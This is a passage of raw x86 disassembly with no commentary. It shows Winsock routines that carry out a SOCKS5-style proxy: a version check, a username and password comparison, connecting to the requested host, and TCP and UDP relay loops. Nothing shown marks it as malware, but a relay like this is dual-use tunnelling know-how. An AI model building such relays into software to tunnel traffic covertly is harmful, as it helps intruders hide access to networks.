call select ; select test eax, eax jbe short loc_13D4943 cmp eax, 0FFFFFFFFh jz short loc_13D4943 lea edx, [esp+51Ch+var_504] push edx push ebp call near ptr 13E1380h test eax, eax jz short loc_13D48EC mov eax, ebp mov ebp, ebx jmp short loc_13D48EE ; --------------------------------------------------------------------------- loc_13D48EC: ; CODE XREF: sub_13D4860+84j mov eax, ebx loc_13D48EE: ; CODE XREF: sub_13D4860+8Aj push 0 lea ecx, [esp+520h+var_400] push 3FFh push ecx push eax call recv ; recv mov edi, eax xor esi, esi cmp edi, 0FFFFFFFFh mov [esp+edi+51Ch+var_400], 0 jz short loc_13D4992 test edi, edi jz short loc_13D4992 jbe short loc_13D493C loc_13D491B: ; CODE XREF: sub_13D4860+DAj mov edx, edi push 0 sub edx, esi lea eax, [esp+esi+520h+var_400] push edx push eax push ebp call send ; send cmp eax, 0FFFFFFFFh jz short loc_13D4992 add esi, eax cmp esi, edi jb short loc_13D491B loc_13D493C: ; CODE XREF: sub_13D4860+B9j mov ebp, [esp+51Ch+arg_0] loc_13D4943: ; CODE XREF: sub_13D4860+70j ; sub_13D4860+75j mov [esp+51Ch+var_500], ebp mov [esp+51Ch+var_504], 1 xor eax, eax lea ecx, [esp+51Ch+var_500] loc_13D4955: ; CODE XREF: sub_13D4860+100j cmp [ecx], ebx jz short loc_13D4962 inc eax add ecx, 4 cmp eax, 1 jb short loc_13D4955 loc_13D4962: ; CODE XREF: sub_13D4860+F7j cmp eax, 1 jnz short loc_13D4974 mov [esp+eax*4+51Ch+var_500], ebx mov eax, [esp+51Ch+var_504] inc eax mov [esp+51Ch+var_504], eax loc_13D4974: ; CODE XREF: sub_13D4860+105j lea ecx, [esp+51Ch+var_50C] lea edx, [esp+51Ch+var_504] push ecx push edx push 0 push 0 push 2 call select ; select test eax, eax jle loc_13D4881 loc_13D4992: ; CODE XREF: sub_13D4860+B3j ; sub_13D4860+B7j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 50Ch retn 8 sub_13D4860 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D4A10 proc near ; CODE XREF: sub_13AC01Cj var_548 = byte ptr -548h var_540 = dword ptr -540h var_53C = dword ptr -53Ch var_534 = byte ptr -534h var_522 = word ptr -522h var_51C = word ptr -51Ch var_51A = word ptr -51Ah var_518 = dword ptr -518h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_468 = byte ptr -468h var_450 = byte ptr -450h var_400 = dword ptr -400h var_2C = dword ptr -2Ch var_C = dword ptr -0Ch arg_4 = dword ptr 8 sub esp, 51Ch push ebx push ebp mov ebp, [esp+524h+arg_4] push esi push edi mov edx, ecx movsx eax, byte ptr [ebp+3] dec eax mov [esp+52Ch+var_508], 0 mov [esp+52Ch+var_50C], 7 mov [esp+52Ch+var_51C], 2 jz short loc_13D4AAF dec eax jz short loc_13D4A5A dec eax jnz loc_13D4BA2 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_13D4A5A: ; CODE XREF: sub_13D4A10+32j movsx eax, byte ptr [ebp+4] mov ecx, eax lea esi, [ebp+5] mov ebx, ecx lea edi, [esp+52Ch+var_400] shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov byte ptr [esp+eax+52Ch+var_400], 0 lea eax, [esp+52Ch+var_518] lea ecx, [esp+52Ch+var_400] push eax push ecx mov ecx, edx call sub_13ABB4E test al, al jz loc_13D4BA2 movsx esi, byte ptr [ebp+4] mov dx, [esi+ebp+5] add esi, 7 mov [esp+534h+var_522], dx jmp short loc_13D4ACB ; --------------------------------------------------------------------------- loc_13D4AAF: ; CODE XREF: sub_13D4A10+2Fj mov eax, [ebp+4] mov esi, 0Ah mov [esp+52Ch+var_400], eax mov [esp+52Ch+var_518], eax mov ax, [ebp+8] mov [esp+52Ch+var_51A], ax loc_13D4ACB: ; CODE XREF: sub_13D4A10+9Dj mov ebx, socket push 11h push 2 push 2 call ebx ; socket push 11h push 2 push 2 mov edi, eax call ebx ; socket cmp edi, 0FFFFFFFFh jz loc_13D4BA2 cmp eax, 0FFFFFFFFh jnz loc_13D4BA2 mov edx, [esp+544h+var_C] lea ecx, [esp+544h+var_534] push 10h push ecx sub edx, esi push 0 add esi, ebp mov ebp, sendto push edx push esi push edi call ebp ; sendto mov ebx, [esp+55Ch+var_2C] push 10h push ebx push edi call bind ; bind test eax, eax jnz short loc_13D4BA2 loc_13D4B29: ; CODE XREF: sub_13D4A10+174j lea eax, [esp+568h+var_548] lea ecx, [esp+568h+var_540] push eax push 0 push 0 push ecx push 1 mov [esp+57Ch+var_53C], 0FFFFFFFFh mov [esp+57Ch+var_540], 1 call select ; select push 0 push 0 push 0 lea edx, [esp+588h+var_450] push 3FFh push edx push edi call recvfrom ; recvfrom push 10h mov esi, eax push ebx push 0 lea eax, [esp+5A0h+var_468] push esi push eax push 0FFFFFFFFh call ebp ; sendto test esi, esi jbe short loc_13D4B86 cmp esi, 0FFFFFFFFh jnz short loc_13D4B29 loc_13D4B86: ; CODE XREF: sub_13D4A10+16Fj mov esi, closesocket push edi call esi ; closesocket push 0FFFFFFFFh call esi ; closesocket pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_13D4BA2: ; CODE XREF: sub_13D4A10+35j ; sub_13D4A10+86j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 51Ch retn 0Ch sub_13D4A10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D4C30 proc near ; CODE XREF: sub_13AB7A2j var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_820 = dword ptr -820h var_81C = word ptr -81Ch var_81A = word ptr -81Ah var_818 = dword ptr -818h var_810 = byte ptr -810h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_708 = dword ptr -708h var_6FC = byte ptr -6FCh var_604 = word ptr -604h var_600 = dword ptr -600h var_5FC = dword ptr -5FCh var_5F8 = word ptr -5F8h var_5F6 = byte ptr -5F6h var_5F4 = byte ptr -5F4h var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 4 sub esp, 82Ch push ebx push ebp push esi mov esi, [esp+838h+arg_0] cmp esi, 0FFFFFFFFh push edi mov ebp, ecx mov [esp+83Ch+var_828], 0 mov [esp+83Ch+var_82C], 0Bh mov [esp+83Ch+var_808], esi mov [esp+83Ch+var_80C], 1 jz loc_13D4EEA mov eax, [ebp-8] mov ecx, [eax+4] mov ax, [ecx+ebp-2] cmp ax, 1 jnz loc_13D5006 mov edi, select lea edx, [esp+83Ch+var_82C] push edx push 0 lea eax, [esp+844h+var_80C] push 0 push eax push 1 call edi ; select test eax, eax jle loc_13D5093 lea ecx, [esp+83Ch+var_80C] push ecx push esi call near ptr 13E1380h test eax, eax jz loc_13D5093 push 6 push 1 push 2 call socket ; socket cmp eax, 0FFFFFFFFh mov [esp+83Ch+var_820], eax jz loc_13D4EEA mov ebx, recv push 0 lea edx, [esp+840h+var_600] push 2 push edx push esi call ebx ; recv cmp byte ptr [esp+83Ch+var_600], 5 jnz loc_13D4EEA movsx eax, byte ptr [esp+83Ch+var_600+1] xor ecx, ecx lea edx, [esp+83Ch+var_600] mov [esp+83Ch+var_600], ecx mov [esp+83Ch+var_5FC], ecx mov [esp+83Ch+var_5F8], cx push ecx push eax push edx push esi mov [esp+84Ch+var_5F6], cl call ebx ; recv push 0 push 2 push offset dword_445354 push esi call send ; send lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_828], 0 mov [esp+850h+var_82C], 7 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call edi ; select xor eax, eax lea edx, [esp+83Ch+var_600] push eax mov ecx, 20h lea edi, [esp+840h+var_600] push 2 push edx push esi rep stosd call ebx ; recv cmp byte ptr [esp+83Ch+var_600], 1 jnz loc_13D4EEA movsx eax, byte ptr [esp+83Ch+var_600+1] push 0 lea ecx, [esp+840h+var_200] push eax push ecx push esi call ebx ; recv movsx edx, byte ptr [esp+83Ch+var_600+1] push 0 lea eax, [esp+840h+var_600] push 1 push eax push esi mov [esp+edx+84Ch+var_200], 0 call ebx ; recv movsx ecx, byte ptr [esp+83Ch+var_600] push 0 lea edx, [esp+840h+var_100] push ecx push edx push esi call ebx ; recv movsx eax, byte ptr [esp+83Ch+var_600] mov ecx, [ebp-8] mov [esp+eax+83Ch+var_100], 0 mov ecx, [ecx+4] add ecx, ebp call sub_13ABBE4 mov edi, eax lea ecx, [esp+83Ch+var_200] loc_13D4DFB: ; CODE XREF: sub_13D4C30+1E9j mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_13D4E1F test al, al jz short loc_13D4E1B mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_13D4E1F add ecx, 2 add edi, 2 test al, al jnz short loc_13D4DFB loc_13D4E1B: ; CODE XREF: sub_13D4C30+1D5j xor eax, eax jmp short loc_13D4E24 ; --------------------------------------------------------------------------- loc_13D4E1F: ; CODE XREF: sub_13D4C30+1D1j ; sub_13D4C30+1DFj sbb eax, eax sbb eax, 0FFFFFFFFh loc_13D4E24: ; CODE XREF: sub_13D4C30+1EDj test eax, eax jz short loc_13D4E81 mov eax, [ebp-8] mov ecx, [eax+4] lea ecx, [ecx+ebp+15h] call sub_13ABBE4 lea edi, [esp+83Ch+var_100] loc_13D4E3E: ; CODE XREF: sub_13D4C30+22Cj mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_13D4E62 test cl, cl jz short loc_13D4E5E mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_13D4E62 add edi, 2 add eax, 2 test cl, cl jnz short loc_13D4E3E loc_13D4E5E: ; CODE XREF: sub_13D4C30+218j xor eax, eax jmp short loc_13D4E67 ; --------------------------------------------------------------------------- loc_13D4E62: ; CODE XREF: sub_13D4C30+214j ; sub_13D4C30+222j sbb eax, eax sbb eax, 0FFFFFFFFh loc_13D4E67: ; CODE XREF: sub_13D4C30+230j test eax, eax jz short loc_13D4E81 push esi call closesocket ; closesocket pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_13D4E81: ; CODE XREF: sub_13D4C30+1F6j ; sub_13D4C30+239j mov edi, send push 0 push 2 push offset dword_445350 push esi call edi ; send lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call select ; select lea edx, [esp+83Ch+var_80C] push edx push esi call near ptr 13E1380h test eax, eax jz short loc_13D4EEA push 0 lea eax, [esp+840h+var_708] push 4 push eax push esi call ebx ; recv mov eax, [esp+83Ch+var_708+3] and eax, 0FFh dec eax jz short loc_13D4F51 sub eax, 2 jz short loc_13D4EF9 dec eax loc_13D4EE8: ; CODE XREF: sub_13D4C30+31Fj jnz short loc_13D4F60 loc_13D4EEA: ; CODE XREF: sub_13D4C30+32j ; sub_13D4C30+93j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_13D4EF9: ; CODE XREF: sub_13D4C30+2B5j push 0 lea ecx, [esp+840h+var_600] push 1 push ecx push esi call ebx ; recv movsx edx, byte ptr [esp+834h+var_5F8] push 0 lea eax, [esp+838h+var_6FC] push edx push eax push esi call ebx ; recv movsx ecx, byte ptr [esp+834h+var_5F8] lea edx, [esp+834h+var_5F8] lea eax, [esp+834h+var_6FC] mov [esp+ecx+834h+var_6FC], 0 mov ecx, [ebp-8] push edx push eax mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_13ABB4E test al, al jmp short loc_13D4EE8 ; --------------------------------------------------------------------------- loc_13D4F51: ; CODE XREF: sub_13D4C30+2B0j push 0 lea eax, [esp+840h+var_600] push 4 push eax push esi call ebx ; recv loc_13D4F60: ; CODE XREF: sub_13D4C30:loc_13D4EE8j push 0 lea ecx, [esp+840h+var_604] push 2 push ecx push esi call ebx ; recv cmp byte ptr [esp+83Ch+var_708+1], 1 jnz loc_13D4EEA mov ebx, [esp+83Ch+var_820] mov dx, [esp+83Ch+var_604] mov eax, [esp+83Ch+var_600] lea ecx, [esp+83Ch+var_81C] push 10h push ecx push ebx mov [esp+848h+var_81C], 2 mov [esp+848h+var_81A], dx mov [esp+848h+var_818], eax call connect ; connect test eax, eax jnz loc_13D4EEA push eax push 4 push offset dword_445348 push esi call edi ; send push 0 lea edx, [esp+840h+var_600] push 4 push edx push esi call edi ; send push 0 lea eax, [esp+840h+var_604] push 2 push eax push esi call edi ; send mov ecx, [ebp-8] push ebx push esi mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_13AC4C2 push ebx call closesocket ; closesocket pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_13D5006: ; CODE XREF: sub_13D4C30+47j cmp ax, 2 jnz loc_13D5093 mov ebx, select loc_13D5016: ; CODE XREF: sub_13D4C30+461j lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call ebx ; select lea edx, [esp+830h+var_818] lea eax, [esp+830h+var_810] push edx push eax push 0 lea ecx, [esp+83Ch+var_5F4] push 3FFh push ecx push esi mov [esp+848h+var_818], 10h call recvfrom ; recvfrom mov ecx, [ebp-8] mov edi, eax lea edx, [esp+830h+var_5F4] push edi push edx mov edx, [ecx+4] lea eax, [esp+838h+var_810] push eax lea ecx, [edx+ebp-8] call sub_13AC01C test edi, edi jz short loc_13D5093 cmp edi, 0FFFFFFFFh jz short loc_13D5093 lea eax, [esp+83Ch+var_80C] push eax push esi call near ptr 13E1380h test eax, eax jnz short loc_13D5016 loc_13D5093: ; CODE XREF: sub_13D4C30+67j ; sub_13D4C30+7Aj ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 sub_13D4C30 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D51D0 proc near ; CODE XREF: sub_13AC319j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch sub esp, 10h push esi mov esi, ecx mov eax, [esi+32h] test eax, eax jz short loc_13D51E4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_13D51E4: ; CODE XREF: sub_13D51D0+Bj xor eax, eax mov ax, [esi+6] dec eax jz short loc_13D51F6 dec eax jz short loc_13D5218 mov word ptr [esi+6], 1 loc_13D51F6: ; CODE XREF: sub_13D51D0+1Bj mov eax, 1 mov ecx, 6 loc_13D5200: ; CODE XREF: sub_13D51D0+52j push ecx push eax push 2 call socket ; socket test eax, eax mov [esi+32h], eax jnz short loc_13D5224 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_13D5218: ; CODE XREF: sub_13D51D0+1Ej mov eax, 2 mov ecx, 11h jmp short loc_13D5200 ; --------------------------------------------------------------------------- loc_13D5224: ; CODE XREF: sub_13D51D0+3Fj mov ax, [esi+4] mov [esp+14h+var_10], 2 push eax mov [esp+18h+var_C], 0 call htons ; htons mov edx, [esi+32h] lea ecx, [esp+14h+var_10] push 10h push ecx push edx mov [esp+20h+var_E], ax call bind ; bind test eax, eax jz short loc_13D5269 mov eax, [esi+32h] push eax call closesocket ; closesocket xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_13D5269: ; CODE XREF: sub_13D51D0+86j cmp word ptr [esi+6], 1 jnz short loc_13D5291 mov ecx, [esi+32h] push 3 push ecx call listen ; listen test eax, eax jz short loc_13D5291 mov edx, [esi+32h] push edx call closesocket ; closesocket xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_13D5291: ; CODE XREF: sub_13D51D0+9Ej ; sub_13D51D0+AEj mov al, 1 pop esi add esp, 10h retn sub_13D51D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13D52E0 proc near ; CODE XREF: sub_13AC1BBj var_24 = byte ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_13D52E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov edi, ecx mov [ebp+var_10], esp mov ax, [edi+6] cmp ax, 1 jnz short loc_13D537A mov eax, [edi+32h] mov [ebp+var_14], 10h test eax, eax jz short loc_13D5361 mov ebx, accept lea ecx, [ebp+var_14] lea edx, [ebp+var_24] push ecx push edx push eax call ebx ; accept mov esi, eax test esi, esi jnz short loc_13D5346 loc_13D5332: ; CODE XREF: sub_13D52E0+64j mov edx, [edi+32h] lea eax, [ebp+var_14] lea ecx, [ebp+var_24] push eax push ecx push edx call ebx ; accept mov esi, eax test esi, esi jz short loc_13D5332 loc_13D5346: ; CODE XREF: sub_13D52E0+50j mov eax, [edi] push esi mov ecx, edi mov [ebp+var_4], 0 call dword ptr [eax] push esi mov bl, al call closesocket ; closesocket test bl, bl jnz short loc_13D539A loc_13D5361: ; CODE XREF: sub_13D52E0+39j ; sub_13D52E0+9Ej ... xor al, al mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- mov eax, 42AF61h retn ; --------------------------------------------------------------------------- loc_13D537A: ; CODE XREF: sub_13D52E0+2Bj cmp ax, 2 jnz short loc_13D5361 mov eax, [edi+32h] mov edx, [edi] push eax mov ecx, edi call dword ptr [edx] mov ecx, [edi+32h] mov bl, al push ecx call closesocket ; closesocket test bl, bl jz short loc_13D5361 loc_13D539A: ; CODE XREF: sub_13D52E0+7Fj mov ecx, [ebp+var_C] pop edi pop esi mov al, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_13D52E0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13D53F0 proc near ; CODE XREF: sub_13AC378j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_13D53F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov [ebp+var_10], esp mov [ebp+var_4], 0 mov eax, [esi] mov ecx, [eax+4] mov eax, [ecx+esi+32h] add ecx, esi push eax mov edx, [ecx] call dword ptr [edx] mov ecx, [esi] mov edx, [ecx+4] mov eax, [edx+esi+32h] push eax call closesocket ; closesocket mov ecx, [ebp+var_C] pop edi pop esi mov eax, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn 4 sub_13D53F0 endp ; --------------------------------------------------------------------------- mov eax, 42B039h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D5480 proc near ; CODE XREF: sub_13AC017j var_1A8 = dword ptr -1A8h var_19C = byte ptr -19Ch var_14 = dword ptr -14h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_10 = byte ptr 14h arg_14 = byte ptr 18h push 0FFFFFFFFh push 43BBDEh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 194h lea eax, [esp+1A0h+var_19C] mov [esp+1A0h+var_4], 1 push eax push 2 call WSAStartup ; WSAStartup test eax, eax jz short loc_13D54F7 loc_13D54B7: ; CODE XREF: sub_13D5480+106j lea ecx, [esp+1A8h] mov byte ptr [esp+1A8h+var_C], 0 call sub_13AB626 lea ecx, [esp+1A8h+arg_14] mov [esp+1A8h+var_C], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+1A8h+var_14] mov large fs:0, ecx add esp, 1A0h retn ; --------------------------------------------------------------------------- loc_13D54F7: ; CODE XREF: sub_13D5480+35j push 42h call near ptr 13E0C1Ah add esp, 4 mov [esp+1A8h+var_1A8], eax test eax, eax mov byte ptr [esp+1A8h+var_C], 2 jz short loc_13D551C push 1 mov ecx, eax call sub_13AB8E7 jmp short loc_13D551E ; --------------------------------------------------------------------------- loc_13D551C: ; CODE XREF: sub_13D5480+8Fj xor eax, eax loc_13D551E: ; CODE XREF: sub_13D5480+9Aj mov ds:dword_102C580, eax mov ecx, [eax] mov byte ptr [esp+1A8h+var_C], 1 mov edx, [ecx+4] mov cx, word ptr [esp+1A8h+var_4] mov [edx+eax+4], cx mov eax, ds:dword_102C580 lea edx, [esp+1A8h] mov ecx, [eax] push edx mov edx, [ecx+4] lea ecx, [edx+eax+8] call sub_13AC40E lea eax, [esp+1ACh+arg_10] push eax mov eax, ds:dword_102C580 mov ecx, [eax] mov edx, [ecx+4] lea ecx, [edx+eax+1Dh] call sub_13AC40E mov eax, ds:dword_102C580 mov ecx, [eax] mov ecx, [ecx+4] add ecx, eax call sub_13AC319 test al, al jz loc_13D54B7 loc_13D558C: ; CODE XREF: sub_13D5480+11Dj mov eax, ds:dword_102C580 mov edx, [eax] mov ecx, [edx+4] add ecx, eax call sub_13AC1BB jmp short loc_13D558C sub_13D5480 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D55F0 proc near ; CODE XREF: sub_13AB8E7j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi test eax, eax mov esi, ecx mov [esp+8+var_4], 0 jz short loc_13D5612 lea ecx, [esi+8] mov dword ptr [esi], offset dword_43E190 call sub_13AB8AB loc_13D5612: ; CODE XREF: sub_13D55F0+12j mov eax, [esi] mov ecx, [eax+4] mov dword ptr [ecx+esi], offset dword_43E18C mov edx, [esi] mov eax, [edx+4] lea ecx, [eax-8] mov [eax+esi-4], ecx mov eax, esi pop esi pop ecx retn 4 sub_13D55F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D5660 proc near ; CODE XREF: sub_13AB8ABj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43BC0Bh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8] call sub_13AB824 lea ecx, [esi+1Dh] mov [esp+14h+var_4], 0 call sub_13AB824 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset dword_43E19C mov dword ptr [esi+32h], 0 mov word ptr [esi+6], 1 mov word ptr [esi+4], 0 mov dword ptr [esi+36h], 1000h mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13D5660 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D56F0 proc near ; CODE XREF: sub_13AC4D1j sub ecx, [ecx-4] jmp sub_13AB7A2 sub_13D56F0 endp ; --------------------------------------------------------------------------- db 8 dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D5700 proc near ; CODE XREF: sub_13AB752j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 43BC28h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AC382 push offset dword_443D90 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset dword_43E1A0 call sub_13AB9D7 mov ecx, [esp+18h+var_10] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13D5700 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D5770 proc near ; CODE XREF: sub_13AB798j ; .idata:013AC341j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13AB5BD test [esp+4+arg_0], 1 jz short loc_13D5788 push esi call near ptr 13E0C02h add esp, 4 loc_13D5788: ; CODE XREF: sub_13D5770+Dj mov eax, esi pop esi retn 4 sub_13D5770 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13D57A0 proc near ; CODE XREF: sub_13AB5BDj jmp sub_13ABB9E sub_13D57A0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D57C0 proc near ; CODE XREF: sub_13AB74Dj var_10 = byte ptr -10h mov eax, 1000h call near ptr 13E0C60h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_13D584C mov ebx, recv mov ebp, send loc_13D57EC: ; CODE XREF: sub_13D57C0+8Aj mov edx, [esi+9Dh] mov ecx, 400h xor eax, eax lea edi, [esp+10h] rep stosd push eax mov eax, [edx+0A5h] lea ecx, [esp+14h] push 1000h push ecx push eax call ebx ; recv test eax, eax jz short loc_13D584C cmp eax, 0FFFFFFFFh jz short loc_13D584C mov edx, [esi+9Dh] push 0 push eax lea ecx, [esp+28h+var_10] mov eax, [edx+0A1h] push ecx push eax call ebp ; send test eax, eax jz short loc_13D584C cmp eax, 0FFFFFFFFh jz short loc_13D584C mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz short loc_13D57EC loc_13D584C: ; CODE XREF: sub_13D57C0+1Ej ; sub_13D57C0+55j ... mov edx, [esi+9Dh] pop edi pop esi pop ebp mov eax, [edx+0A1h] pop ebx cmp eax, 0FFFFFFFFh jz short loc_13D5868 push eax call closesocket ; closesocket loc_13D5868: ; CODE XREF: sub_13D57C0+9Fj add esp, 1000h retn sub_13D57C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D58A0 proc near ; CODE XREF: sub_13ABA63j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 43BC48h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AC382 push offset dword_443D90 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset dword_43E1B0 call sub_13AB9D7 mov ecx, [esp+18h+var_10] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13D58A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D5910 proc near ; CODE XREF: sub_13AB7A7j sub_13ABF22j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13AB617 test [esp+4+arg_0], 1 jz short loc_13D5928 push esi call near ptr 13E0C02h add esp, 4 loc_13D5928: ; CODE XREF: sub_13D5910+Dj mov eax, esi pop esi retn 4 sub_13D5910 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13D5940 proc near ; CODE XREF: sub_13AB617j jmp sub_13ABB9E sub_13D5940 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D5960 proc near ; CODE XREF: sub_13AB92Dj var_50 = byte ptr -50h var_40 = byte ptr -40h var_30 = byte ptr -30h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_C = byte ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, 1014h call near ptr 13E0C60h push ebx push ebp push esi mov esi, ecx push edi or edi, 0FFFFFFFFh mov eax, [esi+99h] mov [esi+0A5h], edi mov cl, [eax+11Ch] test cl, cl jz loc_13D5B2A mov ebx, 1 push 6 push ebx push 2 call socket ; socket cmp eax, edi mov [esi+0A5h], eax jnz short loc_13D59B8 mov [esi+0A5h], edi pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_13D59B8: ; CODE XREF: sub_13D5960+45j mov dx, [esi+3Fh] xor ecx, ecx mov [esp+1Ch+var_8], ecx push edx mov [esp+20h+var_4], ecx mov word ptr [esp+20h+var_8], 2 mov [esp+20h], ecx mov [esp+20h+arg_0], ecx call htons ; htons lea ecx, [esi+43h] mov [esp+20h+var_A], ax call sub_13ABBE4 push eax call sub_13ABC7F add esp, 4 cmp eax, edi mov [esp+20h+var_8], eax jnz short loc_13D5A12 mov eax, [esi+0A5h] push eax call closesocket ; closesocket pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_13D5A12: ; CODE XREF: sub_13D5960+98j mov edx, [esi+0A5h] lea ecx, [esp+20h+var_C] push 10h push ecx push edx call connect ; connect cmp eax, edi jnz short loc_13D5A42 mov eax, [esi+0A5h] push eax call closesocket ; closesocket pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_13D5A42: ; CODE XREF: sub_13D5960+C8j mov edx, [esi+0A1h] mov edi, ioctlsocket lea ecx, [esp+2Ch+var_1C] mov [esp+2Ch+var_1C], ebx push ecx push 8004667Eh push edx call edi ; ioctlsocket mov ecx, [esi+0A5h] lea eax, [esp+38h+var_28] push eax push 8004667Eh push ecx mov [esp+44h+var_28], ebx call edi 